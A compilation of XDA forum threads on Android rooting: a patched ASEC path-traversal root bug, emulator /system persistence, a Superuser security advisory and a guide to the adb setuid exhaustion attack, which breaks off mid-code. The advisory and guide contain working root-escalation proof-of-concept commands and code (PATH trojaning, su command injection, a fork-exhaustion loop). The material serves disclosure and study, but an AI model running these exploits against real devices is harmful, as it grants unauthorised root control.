Android 4.4.2 Local Root Vulnerability - Verizon Galaxy S 5 General

Changing this to a learning question.
How did Samsung or other vendors fix this vulnerability?
It's not as simple as formating the SD card and running a specially formatted apk?
Thanks for any information.
http://blog.cassidiancybersecurity.com/post/2014/06/Android-4.4.3,-or-fixing-an-old-local-root
Quote from their site:
"The vulnerability here is rather obvious: there is no check on the "id" variable, which is the name given by the user to its ASEC container. It is therefore possible to perform a basic path traversal, to create the ASEC file and its mount point in a different directory than expected, as for example one the "attacker" can write into.
The following code is then responsible for the creation of the mount point:
Code:
if (mkdir(mountPoint, 0000)) {
if (errno != EEXIST) {
SLOGE("Mountpoint creation failed (%s)", strerror(errno));
if (cleanupDm) {
Devmapper::destroy(idHash);
}
Loop::destroyByDevice(loopDevice);
unlink(asecFileName);
return -1;
}
}
[...]
mountStatus = xxx::doMount(dmDevice, mountPoint, false,
false, false, ownerUid, 0, 0000, false);
This means that if the mount point already exists, no error is raised, and the container is correctly mounted in "mountPoint". Guess what? If "mountPoint" already exists AND is a symlink to an existing directory, the ASEC container will be mounted over this directory. And the user will have full access to it, allowing him to write new files inside.
There are many ways of exploiting this vulnerability to gain root privileges.
Last detail about this vulnerability: it requires permissions to create ASEC containers. The "shell" user, as used by adb, has the requiered privileges. For the vulnerability to be exploited from an application, it needs the ASEC_* permissions (such as ASEC_CREATE)."

It has been patched.

designgears said:
It has been patched.
Click to expand...
Click to collapse
[emoji115]this guy! is watching the threads secretly and I believe he is/has been doing some work
from my locked note 3!

I think he knows it's patched but wants to know how it was patched so he can learn a bit.
Sent from my SM-G900V using XDA Premium 4 mobile app

The code for the actual fix is in the linked blog post. It doesn't allow directory names starting with .. or /, eliminating the ability to turn "/mnt/asec/mydirectory" into something like "/mnt/asec/../../system/xbin". In Linux , .. means go up a directory so that would translate to "/system/xbin".
Many distributions of Android have their own patchsets that are released before the official ones from Google. I'm not sure when Samsung introduced it into their release of Android, but it's definitely in the last released version which is why we can't use this for root.

This is the vulnerability I used in the videos i posted a few months back for Moto X, and reported to Google (it is exploitable on some devices without user interaction, rouge apps can use it on some devices to do bad things without the user knowing).
Google provides security fixes to OEMs with a minimum 90day embargo, OEMs have the fixes at least 90 days before the fixes end up on AOSP. In addition, it was already mitigated by SEAndroid policies on many devices, including Note 3, S4, and S5. So it was useless for those devices already.
It is also patched on s5, and newer note3 and S4 firmware.
It was patched by sanitizing the path, checking for traversal and failing if detected.
For an actual implementation of this (that I published after the blog you linked to detailed the vulnerability), see my exploit here http://forum.xda-developers.com/moto-x/orig-development/root-4-4-x-pie-motorola-devices-t2771623
Phonegasm said:
Changing this to a learning question.
How did Samsung or other vendors fix this vulnerability?
It's not as simple as formating the SD card and running a specially formatted apk?
Thanks for any information.
http://blog.cassidiancybersecurity.com/post/2014/06/Android-4.4.3,-or-fixing-an-old-local-root
Quote from their site:
"The vulnerability here is rather obvious: there is no check on the "id" variable, which is the name given by the user to its ASEC container. It is therefore possible to perform a basic path traversal, to create the ASEC file and its mount point in a different directory than expected, as for example one the "attacker" can write into.
The following code is then responsible for the creation of the mount point:
Code:
if (mkdir(mountPoint, 0000)) {
if (errno != EEXIST) {
SLOGE("Mountpoint creation failed (%s)", strerror(errno));
if (cleanupDm) {
Devmapper::destroy(idHash);
}
Loop::destroyByDevice(loopDevice);
unlink(asecFileName);
return -1;
}
}
[...]
mountStatus = xxx::doMount(dmDevice, mountPoint, false,
false, false, ownerUid, 0, 0000, false);
This means that if the mount point already exists, no error is raised, and the container is correctly mounted in "mountPoint". Guess what? If "mountPoint" already exists AND is a symlink to an existing directory, the ASEC container will be mounted over this directory. And the user will have full access to it, allowing him to write new files inside.
There are many ways of exploiting this vulnerability to gain root privileges.
Last detail about this vulnerability: it requires permissions to create ASEC containers. The "shell" user, as used by adb, has the requiered privileges. For the vulnerability to be exploited from an application, it needs the ASEC_* permissions (such as ASEC_CREATE)."
Click to expand...
Click to collapse

Related

New API method and permission fails.

First of all I will start with this phrase, and I encourage you developers,"Superuser is not the way for everything, let's write android-like code"
I've been working on a method able to mount system as RW via MountService interface (This may be used from simply write text on a file, to more advanced approachs, think about it!), and making it public for system and platform signed applications (Settings, or any app added by a developer to his ROM), I must say is not easy what Google engineers do!, writing and documenting all this stuff, just WOW. but well, back to the scene, this is the relevant commit:
http://review.paranoid-rom.com/#/c/91/
The entire interface going from java to parser methods and C++ native seems working, only one issue though, when trying to run the method:
Code:
E/MountService(14755): mountSystem(true): throwed exception -> command '11 mount -o rw,remount /system' failed with '500 11 Command not recognized'
E/MountService(14755): mountSystem(false): throwed exception -> command '12 mount -o ro,remount /system' failed with '500 12 Command not recognized'
The code used to get the crash is this:
Code:
public static void mountSystem(boolean rw){
if (sStorageManager == null) {
sStorageManager = (StorageManager) sContext.getSystemService(Context.STORAGE_SERVICE);
}
sStorageManager.mountSystem(rw);
}
So, someone here able to give me a hand ? . Or should this not be posted here?
EDIT: If I wasn't clear enough, the method is somehow on the process appending an integer before the command string, wich for obvious reasons is an invalid command entry
will it not result in some big security risk ? if System become RW...
mskiller said:
will it not result in some big security risk ? if System become RW...
Click to expand...
Click to collapse
This will be momentaneous, like mount rw, write what I want to write, mount ro. Also, the permission is only allowed to highest level apps, with platform or system signatures (Settings, or an app built with the same platform keys), so there's no possibility that an app built by an user could have it (Unless some root hack used, but if an app has root it can break the entire system anyway). Another thing is that apps cannot write files that they don't own, example, if there's a file on /system, chowned to root, not even system will be able to write it. This is meant to be more like a helper method for developers that write their own apps for their ROMs, and they need to write a file (but they chown it to system first via android_filesystem_config.h or whatever they like), so they get a nice crash because system is RO
Thanks for your explanation, great idea btw, I'm more server admin than linuw admin so can't help you with that...hopefully someone will cheers and keep up the good works,and if you need anything for help on server side trouble send me a private message...Great job from you keep it up !
system user can't remount a partition, need to be root.
Sent from my GT-P1000
cdesai said:
system user can't remount a partition, need to be root.
Sent from my GT-P1000
Click to expand...
Click to collapse
That's what I'm afraid of. As I said on gerrit
[email protected] said:
I'm starting to think though that even if we get the integer gone, mount will just throw a "Operation not permitted" message and that's it. For mounting filesystems it seems that it highly depends on AID_ROOT user group (wich means only super user can do it).
Click to expand...
Click to collapse
I think this one is a bummer, I have to blame AOSP and Linus torvalds though
EDIT: I'll close this one now

[Q] Installation of BusyBox inside AVD emulator

Hi there! I am complete noob who wants to get familiar with Android internals.
Currently i've tried to play with android emulator from SDK working on ARM 4.2.2 image.
As a step into comfort zone i've tried to install busybox and failed. Main reason is read-only /system fs:
/dev/block/mtdblock0 /system yaffs2 ro 0 0
I've tried to remount it as rw, but even fs now rw it still failed to write onto it.
Some errors like that can be observed in dmesg:
<4>**>> yaffs chunk 100991 was not erased
<4>**>> yaffs write required 34 attempts
So obviously /system partition was made readonly for good
Is there any way to install busybox inside AVD/make /system writable?
I found previous problem cause. System image coming completely out of free space and partition created to fit this image.
"-partition-size" can cure that.
But now i have another problem. All changes to /system gone after each reboot.
It understandable there it comes from. Emulator starts with init image and all changes go to temporary image file.
I just can't find a way to overcome it. If i use "system-qemu.img" for persistent image emulator just stops with error "ko:Missing initial system image path!". The same time next lines automatically added into hardware-qemu.ini file:
disk.systemPartition.path = C:\Users\shuras\.android\avd\Vedroid.avd/system-qemu.img
disk.systemPartition.size = 256m
I've seen post here on xda from a fellow member who got this problem years ago.
The best he can come with is to patch emulator source and recompile binaries.
Can anyone advise on how to overcome this mess? Or at least knowing i am not alone and this problem known is another good thing.
shuras109 said:
I found previous problem cause. System image coming completely out of free space and partition created to fit this image.
"-partition-size" can cure that.
But now i have another problem. All changes to /system gone after each reboot.
It understandable there it comes from. Emulator starts with init image and all changes go to temporary image file.
I just can't find a way to overcome it. If i use "system-qemu.img" for persistent image emulator just stops with error "ko:Missing initial system image path!". The same time next lines automatically added into hardware-qemu.ini file:
disk.systemPartition.path = C:\Users\shuras\.android\avd\Vedroid.avd/system-qemu.img
disk.systemPartition.size = 256m
I've seen post here on xda from a fellow member who got this problem years ago.
The best he can come with is to patch emulator source and recompile binaries.
Can anyone advise on how to overcome this mess? Or at least knowing i am not alone and this problem known is another good thing.
Click to expand...
Click to collapse
Not sure if this article would help, but you can try. I believe these are the keys:
- Remove /system/app/SdkSetup.apk
- Remove 'userdata-qemu.img' and 'cache.img' in .android\avd\*.avd\
- Copy system.img from system-images to .android\avd\*.avd\
Good luck.
codelover said:
Not sure if this article would help, but you can try. I believe these are the keys:
- Remove /system/app/SdkSetup.apk
- Remove 'userdata-qemu.img' and 'cache.img' in .android\avd\*.avd\
- Copy system.img from system-images to .android\avd\*.avd\
Good luck.
Click to expand...
Click to collapse
Done that and remove system-qemu.img. As result:
emulator: nand_add_dev: system,size=0x10000000,initfile=C:\Users\shuras\.android\avd\Vedroid.avd/system.img
emulator: mapping 'system' NAND image to C:\Users\shuras\AppData\Local\Temp\\AndroidEmulator\TMPCC39.tmp
Untill system-qemu.img removed there is still "ko:Missing initial system image path!" even if .android\avd\Vedroid.avd/system.img present and intact.
Here is xda thread with geckoneer's comment on problem with /system alternation:
http://forum.xda-developers.com/showthread.php?t=1149807
He thinks this problem was introduced deliberately.
Judging by code from emulator there is no way to start without init image.
Code:
/* Initialize system partition image */
{
char tmp[PATH_MAX+32];
const char* sysImage = android_hw->disk_systemPartition_path;
const char* initImage = android_hw->disk_systemPartition_initPath;
uint64_t sysBytes = android_hw->disk_systemPartition_size;
if (sysBytes == 0) {
PANIC("Invalid system partition size: %" PRIu64, sysBytes);
}
snprintf(tmp,sizeof(tmp),"system,size=0x%" PRIx64, sysBytes);
if (sysImage && *sysImage) {
if (filelock_create(sysImage) == NULL) {
fprintf(stderr,"WARNING: System image already in use, changes will not persist!\n");
/* If there is no file= parameters, nand_add_dev will create
* a temporary file to back the partition image. */
} else {
pstrcat(tmp,sizeof(tmp),",file=");
pstrcat(tmp,sizeof(tmp),sysImage);
}
}
if (initImage && *initImage) {
if (!path_exists(initImage)) {
PANIC("Invalid initial system image path: %s", initImage);
}
pstrcat(tmp,sizeof(tmp),",initfile=");
pstrcat(tmp,sizeof(tmp),initImage);
} else {
PANIC("Missing initial system image path!");
}
nand_add_dev(tmp);
}
This problem probably can be avoided by starting emulator on corrected hardware-qemu.ini (skipping phase there hardware-qemu.ini being generated). But i can't find a way to do it either.
Inside emulator logs i can see some lines about separate qemu process start but i can't find how to start it separately.
Code:
QEMU options list:
emulator: argv[00] = "C:\Program Files (x86)\Android\android-sdk\tools\emulator-arm.EXE"
emulator: argv[01] = "-android-hw"
emulator: argv[02] = "C:\Users\shuras\.android\avd\Vedroid.avd/hardware-qemu.ini"
Concatenated QEMU options:
'C:\Program Files (x86)\Android\android-sdk\tools\emulator-arm.EXE' -android-hw C:\Users\shuras\.android\avd\Vedroid.avd/hardware-qemu.ini
But in the end emulator-arm.exe reports it doesn't know anything about -android-hw option even if i can find this option inside emulator-arm.exe binary.
Maybe there is a better resource to ask for this kind of questions?
Android SDK Emulator: Keep changes made to /system, perhaps?
shuras109 said:
Here is xda thread with geckoneer's comment on problem with /system alternation:
http://forum.xda-developers.com/showthread.php?t=1149807
He thinks this problem was introduced deliberately.
Judging by code from emulator there is no way to start without init image.
Code:
if (sysImage && *sysImage) {
if (filelock_create(sysImage) == NULL) {
......
} else {
......
}
}
[B][COLOR="Red"]else[/COLOR][/B] if (initImage && *initImage) {
......
} else {
PANIC("Missing initial system image path!");
}
nand_add_dev(tmp);
}
This problem probably can be avoided by starting emulator on corrected hardware-qemu.ini (skipping phase there hardware-qemu.ini being generated). But i can't find a way to do it either.
Maybe there is a better resource to ask for this kind of questions?
Click to expand...
Click to collapse
I checked the sdk qemu source code and yes there seems to be no way you can use system.img directly & permanently without recompiling the binary.
There seems to be a bug in the code itself (Missing 'else' before if, perhaps?), looks like it will always use initFile and create a system.img's clone in temp folder and use that, even the auto generated hardware-qemu.ini is correct.
For solution, other than copying the one in temp, there is also another article mentioning a different approach, by using ',file=' in the emulator argument.
A simple test run by using this method shows that both initfile= & file= will be used and both will be mounted as /system, so i doubt that would work correctly. (Further testing required...)
Well, i think i found another way to do it: Force emulator to treat initfile= as file=
Below you can find a patcher i created to patch the emulator binaries. Tested with my r21 binaries, should work with earlier versions too.
How To Use
1) Close all AVD/Emulator instance.
2) Copy SDKpatch.exe to your %LocalAppData%\Android\android-sdk\tools\ & run it.
3) For each AVD, copy the API's system.img into it's folder: %UserProfile%\.android\avd\*.avd\system.img (No need rename)
4) Rename the original system.img to something else. Eg: system.BAK.img (In %LocalAppData%\Android\android-sdk\system-images\android-*\*\)
5) Test it! (You may have to delete userdata.img, userdata-qemu.img, system-qemu.img, cache.img if needed.)
Extra Note
* This is just experimental/temporary fix until they fix it in new release or someone patch the code & compile it.
* If you put a copy of system.img in AVD .avd folder, the local copy will be used, otherwise the global one will be used.
* If you don't rename the global system.img & no local copy exists in AVD .avd folder, the global one will get modified by AVD running the same API that has /system rw.
* Not sure if AVD that using the same API level/images can use the same system.img at the same time! (To be tested!)
Install BusyBox
adb shell mount -o remount,rw /dev/block/mtdblock0 /system
+++ install busybox -or- do something crazy +++
adb shell mount -o remount,ro /dev/block/mtdblock0 /system
* Friendly Reminder: Always create backup!

Solution for logcat reading on rooted Android 4.1+

Many logcat reading applications fail to read logcat on Android 4.1+ (Jelly Bean). The few that are working well are using root features. This post contains a code sample that can be easy included in existing logcat applications to make them rooted Jelly Bean compatible.
Root cause of the problem:
Android permission android.permission.READ_LOGS is required to read logcat.
Starting from Android 4.1 it is no more granted to regular apps upon installation, but it can be granted using pm grant command under root.
Solution for users (of Jelly Bean incompatible logcat reading apps):
Invoke the following command as root (replacing org.jtb.alogcat with package name of logcat reading application) to grant the missing permission
Code:
pm grant org.jtb.alogcat android.permission.READ_LOGS
Show application's developers this thread.
Solution for developers:
Here is code sample for automatically detecting lack of the permission and granting it with root features: This code grants permission for reading logs only after relaunching applications VM (usually after first reboot or after opening other applications and returning to app having this code).
Code:
import eu.chainfire.libsuperuser.Shell;
// DON'T USE THIS CODE. SEE PROPER CODE BELOW!
if(context.getPackageManager().checkPermission(android.Manifest.permission.READ_LOGS,
context.getPackageName()) != android.content.pm.PackageManager.PERMISSION_GRANTED) {
Shell.SU.run("pm grant "+context.getPackageName()+" "+android.Manifest.permission.READ_LOGS);
}
Solution for developers:
Download and add AdjustReadLogsPermission.java to your project as a new class (or directly into Activity class of the main activity (as nested static class - by changing class definition to private static class).
AdjustReadLogsPermission should be called from onCreate method of the Activity class of application's main activity (activity that will be opened when launching the application) by this code:
Code:
AdjustReadLogsPermission.adjustIfNeeded(this);
AdjustReadLogsPermission detects lack of android.permission.READ_LOGS permission and asynchronously grants it using root features and relaunches the application.
This post (as well as all my posts) including any code in it is provided AS-IS without warranty of any kind!
Parts of this code come from libsuperuser_example. This code is distributed under Apache License.
As this code uses libsuperuser (made by @Chainfire, distributed under Apache License) it is required to download it and add reference to it in application's project.
As this code uses root features it is recommended to declare uses-permission android.permission.ACCESS_SUPERUSER in application's AndroidManifest.xml.
I hope this article will help developers of logcat reading applications!
Sorry for resurrecting this old thread, but I found a way to access logs without root permissions. You can use remote debugging feature. Here is an open source Lagcat app that I developed that uses this approach.

[SECURITY] Multiple Android Superuser vulnerabilities

Well, I was going to hold off until all of the vendors had new releases posted, but now that the cat is out of the bag and the evildoers have sufficient information to figure out what got fixed:
[size=+1]Current Superuser/SuperSU releases have security holes that allow any application to execute commands as root without the user's permission (even apps with no permissions). Please upgrade immediately to SuperSU >= v1.69 or another patched release.[/size]
This is expected to impact the vast majority of rooted devices and custom ROMs.
Details follow:
[size=+2]Superuser unsanitized environment vulnerability on Android <= 4.2.x[/size]
Vulnerable releases of several common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root without notifying the device owner:
ChainsDD Superuser (current releases, including v3.1.3)
CyanogenMod/ClockWorkMod/Koush Superuser (current releases, including v1.0.2.1)
Chainfire SuperSU prior to v1.69
The majority of third-party ROMs include one of these packages.
On a rooted Android <= 4.2.x device, /system/xbin/su is a setuid root binary which performs a number of privilege checks in order to determine whether the operation requested by the caller should be allowed. In the course of its normal duties, and prior to making the allow/deny decision, /system/xbin/su invokes external programs under a privileged UID, typically root (0) or system (1000):
/system/bin/log, to record activity to logcat
/system/bin/am, to send intents to the Superuser Java app
/system/bin/sh, to execute the /system/bin/am wrapper script
/system/bin/app_process, the Dalvik VM
The user who invokes /system/xbin/su may have the ability to manipulate the environment variables, file descriptors, signals, rlimits, tty/stdin/stdout/stderr, and possibly other items belonging to any of these subprocesses. At least two vulnerabilities are readily apparent:
- On ClockWorkMod Superuser, /system/xbin/su does not set PATH to a known-good value, so a malicious user could trick /system/bin/am into using a trojaned app_process binary:
Code:
echo -e '#!/system/bin/sh\nexport PATH=/system/bin:$PATH\ntouch /data/trojan.out\nexec $0 "[email protected]"' > app_process ; chmod 755 app_process
PATH=`pwd`:$PATH su -c 'true'
The PATH vulnerability is being tracked under CVE-2013-6768.
- Other environment variables could be used to affect the behavior of the (moderately complex) subprocesses. For instance, manipulation of BOOTCLASSPATH could cause a malicious .jar file to be loaded into the privileged Dalvik VM instance. All three Superuser implementations allowed Dalvik's BOOTCLASSPATH to be supplied by the attacker.
The BOOTCLASSPATH vulnerability is being tracked under CVE-2013-6774.
[size=+2]Android Superuser shell character escape vulnerability[/size]
Vulnerable releases of two common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root, either without prompting the user or after the user has denied the request:
CyanogenMod/ClockWorkMod/Koush Superuser (current releases, including v1.0.2.1)
Chainfire SuperSU prior to v1.69
The majority of recent third-party ROMs include one of these packages. Older ROMs may use the ChainsDD Superuser package, which is not affected but is no longer maintained.
On a rooted Android <= 4.2.x device, /system/xbin/su is a setuid root binary which performs a number of privilege checks in order to determine whether the operation requested by the caller should be allowed. If any of these checks fail, the denial is recorded by broadcasting an intent to the Superuser app through the Android Activity Manager binary, /system/bin/am. /system/bin/am is invoked as root, and user-supplied arguments to the "su" command can be included on the "am" command line.
On a rooted Android >= 4.3 device, due to changes in Android's security model, /system/xbin/su functions as an unprivileged client which connects to a "su daemon" started early in the boot process. The client passes the request over a UNIX socket, and the daemon reads the caller's credentials using SO_PEERCRED. As described above, /system/bin/am is called (now from the daemon) to communicate with the app that implements the user interface.
If the user invokes "su -c 'COMMAND'" and the request is denied (or approved), ClockWorkMod Superuser constructs a command line to pass to a root shell:
Code:
snprintf(user_result_command, sizeof(user_result_command), "exec /system/bin/am " ACTION_RESULT " --ei binary_version %d --es from_name '%s' --es desired_name '%s' --ei uid %d --ei desired_uid %d --es command '%s' --es action %s --user %d",
VERSION_CODE,
ctx->from.name, ctx->to.name,
ctx->from.uid, ctx->to.uid, get_command(&ctx->to),
policy == ALLOW ? "allow" : "deny", ctx->user.android_user_id);
get_command() would return "COMMAND", unescaped, through "/system/bin/sh -c". By adding shell metacharacters to the command, the root subshell can be tricked into running arbitrary command lines as root:
Code:
su -c "'&touch /data/abc;'"
Upon denial by the operator, "touch /data/abc" will be executed with root privileges. The Superuser variant of this problem is being tracked under CVE-2013-6769.
SuperSU prior to v1.69 removes quote and backslash characters from the string passed to /system/bin/sh, but backticks or $() can be used instead for the same effect:
Code:
su -c '`touch /data/abc`'
su -c '$(touch /data/abc)'
The SuperSU variant of this problem is being tracked under CVE-2013-6775.
ChainsDD Superuser v3.1.3 does not appear to pass the user-supplied input on the /system/bin/am command line.
[size=+2]Superuser "su --daemon" vulnerability on Android >= 4.3[/size]
Current releases of the CyanogenMod/ClockWorkMod/Koush Superuser package may allow restricted local users to execute arbitrary commands as root in certain, non-default device configurations.
Android 4.3 introduced the concept of "restricted profiles," created through the Settings -> Users menu. A restricted profile can be configured to allow access to only a minimal set of applications, and has extremely limited abilities to change settings on the device. This is often used to enforce parental controls, or to protect shared devices set up in public places. The OS requires an unlock code to be entered in order to access the owner's profile to administer the system.
/system/xbin/su is a setuid root executable, and any user may invoke it in client mode ("su -c 'foo'" or just "su"), or in daemon mode ("su --daemon"). In either mode of operation, the user who invokes this program has the ability to manipulate its environment variables, file descriptors, signals, rlimits, tty/stdin/stdout/stderr, and possibly other items. By adding new entries at the front of the PATH for commonly-executed root commands, then re-invoking "su --daemon", an attacker may be able to hijack legitimate root sessions subsequently started by other applications on the device.
"su --daemon" is normally started up very early in the boot process, as root, from /init.superuser.rc (CM) or from /system/etc/install-recovery.sh (other ROMs). The fact that unprivileged users are allowed to restart the daemon later, under EUID 0, appears to be an oversight.
Successful exploitation requires a number of conditions to be met:
- The attacker must have ADB shell access, e.g. over USB. This is disabled by default, and normally restricted to trusted ADB clients whose RSA key fingerprints have been accepted by the device administrator. Root access via ADB (i.e. Settings -> Developer Options -> Root access -> Apps and ADB) is not required. Note that ADB shell access is typically considered a security risk, even in the absence of this problem.
- The attacker must have a way to assume a non-shell (non-2000), suid-capable Linux UID in order to prevent /system/xbin/su from creating infinitely recursive connections to itself through the daemon client UID check in main(). One way to do this would involve uploading an app with the "debuggable" flag and using /system/bin/run-as to assume this UID. "adb install" can probably used for this purpose. However, due to a bug in Android 4.3's "run-as" implementation[1], this does not currently work. This bug was fixed in Android 4.4, so CM11 will probably be able to satisfy this requirement.
- The device owner must have granted root permissions to one or more applications via Superuser. The restricted profile does not need to be able to run this app from the launcher.
Sample exploit:
The restricted local user can reboot the tablet, run "adb shell" when the boot animation shows up, then invoke the following commands:
Code:
echo -e '#!/system/bin/sh\nexport PATH=/system/bin:$PATH\ntouch /data/trojan.out\nexec $0 "[email protected]"' > /data/local/tmp/trojan
chmod 755 /data/local/tmp/trojan
for x in id ls cp cat touch chmod chown iptables dmesg; do ln -s trojan /data/local/tmp/$x ; done
PATH=/data/local/tmp:$PATH setsid run-as.422 my.debuggable.package /system/xbin/su --daemon &
(Note the use of "run-as.422" as a proxy for a working Android 4.3 run-as binary, and the installation of "my.debuggable.package" with the debuggable flag set.)
At this point the USB cable may be disconnected.
The next time a root application successfully passes the Superuser check and invokes one of the trojaned shell commands, /data/local/tmp/trojan will be executed under UID 0.
An ideal candidate for exploitation is a package which runs privileged commands on boot, e.g. AdBlock Plus or AFWall+, as this allows for instant access. Another possibility is to hijack an app which the device's operator runs frequently, such as Titanium Backup.
Note that this can NOT be exploited by malicious applications, as zygote-spawned processes (apps) always access /system in nosuid mode[2] on Android 4.3+. The ADB shell was used as the attack vector as it is not subject to this restriction.
ChainsDD Superuser v3.1.3 does not have an Android 4.3+ client/server mode at all, and SuperSU aborts if an existing "daemonsu" instance is already bound to the abstract @"eu.chainfire.supersu" socket.
Proposed resolution: on Android 4.3 and higher, install all Superuser-related binaries with mode 0755 (setuid bit unset).
This problem is being tracked under CVE-2013-6770.
[1] https://code.google.com/p/android/issues/detail?id=58373
[2] http://source.android.com/devices/tech/security/enhancements43.html
Did you report that to @Chainfire?
SecUpwN said:
Did you report that to @Chainfire?
Click to expand...
Click to collapse
Yes, he's been very responsive.
I contacted all three developers last Saturday, and posted the advisory after there was enough public information available to deduce what the problems were.
In case you're curious, there's been some additional discussion about exploiting ChainsDD Superuser on BUGTRAQ.
Is there a way we can patch this maybe using xposed framework
milojoseph said:
Is there a way we can patch this
Click to expand...
Click to collapse
There are new releases of SuperSU and CWM Superuser posted:
https://play.google.com/store/apps/details?id=eu.chainfire.supersu&hl=en
http://forum.xda-developers.com/showthread.php?t=1538053
https://play.google.com/store/apps/details?id=com.koushikdutta.superuser&hl=en
I haven't seen any updates to ChainsDD Superuser, and AFAICT the project is no longer maintained.
maybe using xposed framework
Click to expand...
Click to collapse
Xposed is useful for patching Java programs, but /system/xbin/su is compiled C code. So the techniques used by Xposed would not apply to this case.
cernekee said:
Xposed is useful for patching Java programs, but /system/xbin/su is compiled C code. So the techniques used by Xposed would not apply to this case.
Click to expand...
Click to collapse
There's always Substrate, that can be used even for patching native code, but still in this case not applicable I guess.
Where you able to find any patch to fix them?
thank you for sharing ...
I am getting this message in lollipop "zygote has been granted superuser permission" i accidentally allowed it root access thinking it was link2sd. Could it be malware? There is a nameless app in my supersu under name "zygote". i didn't installed anything outside from playstore. My supersu version is 2.78
diabolicalprophecy said:
I am getting this message in lollipop "zygote has been granted superuser permission" i accidentally allowed it root access thinking it was link2sd. Could it be malware? There is a nameless app in my supersu under name "zygote". i didn't installed anything outside from playstore. My supersu version is 2.78
Click to expand...
Click to collapse
Did you get an answer for this? I have the same issue on 4.4.4
Vankog said:
Did you get an answer for this? I have the same issue on 4.4.4
Click to expand...
Click to collapse
No I didn't, I reflashed the rom and it solved the problem.

[GUIDE] Android Rooting for Programmers

Author: Apriorit (Device Team)
Permanent link: www(dot)apriorit(dot)com/dev-blog/255-android-rooting
You have an Android Device and you are familiar with Linux based operating systems. Maybe, you like SSH or telnet to communicate with the device; you want to setup your device as a router to connect home PC to the Internet. However, you will be surprised. Android has neither login screen nor possibility to gain privileged user access to the system to do these things. This is one of the Android security principles to isolate applications from the user, each other, and the system.
In this article, I will describe you how to gain root access on an Android device in spite of security. I will delve deeply into one of the Android rooting principles - the adb exhaustion attack, which is simpler to understand than a previous udev exploit. It is suitable for all Android-powered devices with the version 2.2 and lower.
Rooting principles
Overview
In three words, the main rooting idea is to get super user rights on a device shell. Like a standard Linux shell, it allows you to interact with the device by executing commands from the shell. The shell can be accessed via ADB (Android Debug Bridge) command tool. The main purposes of the ADB on Android-powered devices are debugging, helping to develop applications and also, in some cases, it is used for synchronization purposes (when syncing HTC Wildfire, it is required to turn on the USB Debugging). We will use the ADB tool for uploading and executing the exploit, working with rooted device via super user shell with full access to whole device file system, programs and services.
ADB includes three components:
1. A client, which runs on your machine. Windows users can invoke it from the cmd and Linux users - from the shell;
2. A server, which runs as a background process on your machine. It manages communication between the client and the daemon running on the Android-powered device;
3. A daemon, which runs as a background process on the device.
We are interested only in the third component. The daemon runs on a device and communicates with a client through a server. When you issue the ADB command like a shell, the daemon will create a shell instance on a device and redirect its output to the client. Obviously, the shell new instance created by the daemon inherits rights and environment from its parent. As the daemon runs with the AID_SHELL rights, the shell new instance and all processes created by the shell will have the same access rights. Hence, to get super user rights in the shell, we just need the daemon to be running with these rights.
To understand why the ADB daemon has the ADT_SHELL user space, we will consider how it is started up and look at its initialization script.
The first user land process started after the Android device booting is the init process. After initialization and starting of internal services like property service, ueventd service etc., it begins parsing the init.rc configuration script. The ADB daemon is mentioned in the script as the service and it is started by the init service on the boot if the USB Debugging is enabled.
Let’s look at the ADB daemon initialization source code. The main daemon entry point, where it starts its execution, is adb_main. I skipped non significant pieces of code to focus your attention on the daemon security.
Code:
int adb_main(int is_daemon, int server_port)
{
...
int secure = 0;
...
/* run adbd in secure mode if ro.secure is set and
** we are not in the emulator
*/
property_get("ro.kernel.qemu", value, "");
if (strcmp(value, "1") != 0) {
property_get("ro.secure", value, "");
if (strcmp(value, "1") == 0) {
// don't run as root if ro.secure is set...
secure = 1;
}
}
/* don't listen on a port (default 5037) if running in secure mode */
/* don't run as root if we are running in secure mode */
if (secure) {
...
/* then switch user and group to "shell" */
setgid(AID_SHELL);
setuid(AID_SHELL);
...
return 0;
}
So, what we see here. When the ADB daemon is starting, it has super user rights, like the init process has. However, the daemon reads some properties from the system and decides to set secure flag or not. Usually, if the device is not a development device and it is not an emulator, the properties have such values:
ro.kernel.qemu – “0” // is running on emulator
ro.secure – “1” // secure mode
After properties are checked, the secure flag is set to true, and we hit to such code section:
Code:
if (secure) {
...
/* then switch user and group to "shell" */
setgid(AID_SHELL);
setuid(AID_SHELL);
...
Starting from this point, the daemon continues its execution with the AID_SHELL user id as it drops root privileges. All processes, started by the ADB daemon, like sh, will inherit its rights and will work in very limited environment. It is really sad, isn’t it?
Exhaustion attack
The main rooting principle of the exploit described in this article is the setuid exhaustion attack. The setuid function changes the user id for a process only in case if there are resources available, otherwise it fails and the process remains with that user id, with which it was started. Let’s look at the resources that can be limited by the Linux operating system. We are interested only in the RLIMIT_NPROC resource. This resource limits maximum numbers of processes that can be created with the same user id. If you have reached the limit, you can’t create more processes with this user id. The setuid function doesn’t create processes, but it follows this rule. Once, the NPROC limit for the AID_SHELL user is reached, setuid fails and the process continues its execution with the user id set before the setuid call. It means, when the ADB daemon starts with the AID_ROOT user id and tries to change it for AID_SHELL, for which NPROC is reached, setuid fails and the daemon user id remains AID_ROOT.
It is easy enough, isn’t it?
In files attached to the article, you can find the binary file and sources. They implement the adb exhaustion attack explained above. The rooting process is easy for a user and I will describe how to use it below, but now, I will go into detail about the attack implementation. I will touch upon the source code structure and go into detail about a few important points.
Let’s look at the root() function in the impl.cpp file. It implements the main logic of the exploit.
...
Code:
rlimit s_rlimit = { 0 };
getrlimit( RLIMIT_NPROC, &s_rlimit );
printf( "RLIMIT_NPROC: %d.%d\n", s_rlimit.rlim_cur, s_rlimit.rlim_max );
pid_t adbdPid( get_pid( g_adbd_name ) );
...
At the beginning, after it gets and prints the NPROC limits, it runs the ADB daemon PID and saves it into a variable. It will be used later to kill original process. Next, look at the fork loop:
Code:
pid_t pid( -1 );
for( int i( 0 ); ; ++i )
{
pid = fork();
if( pid == 0 )
{
return ret;
}
...
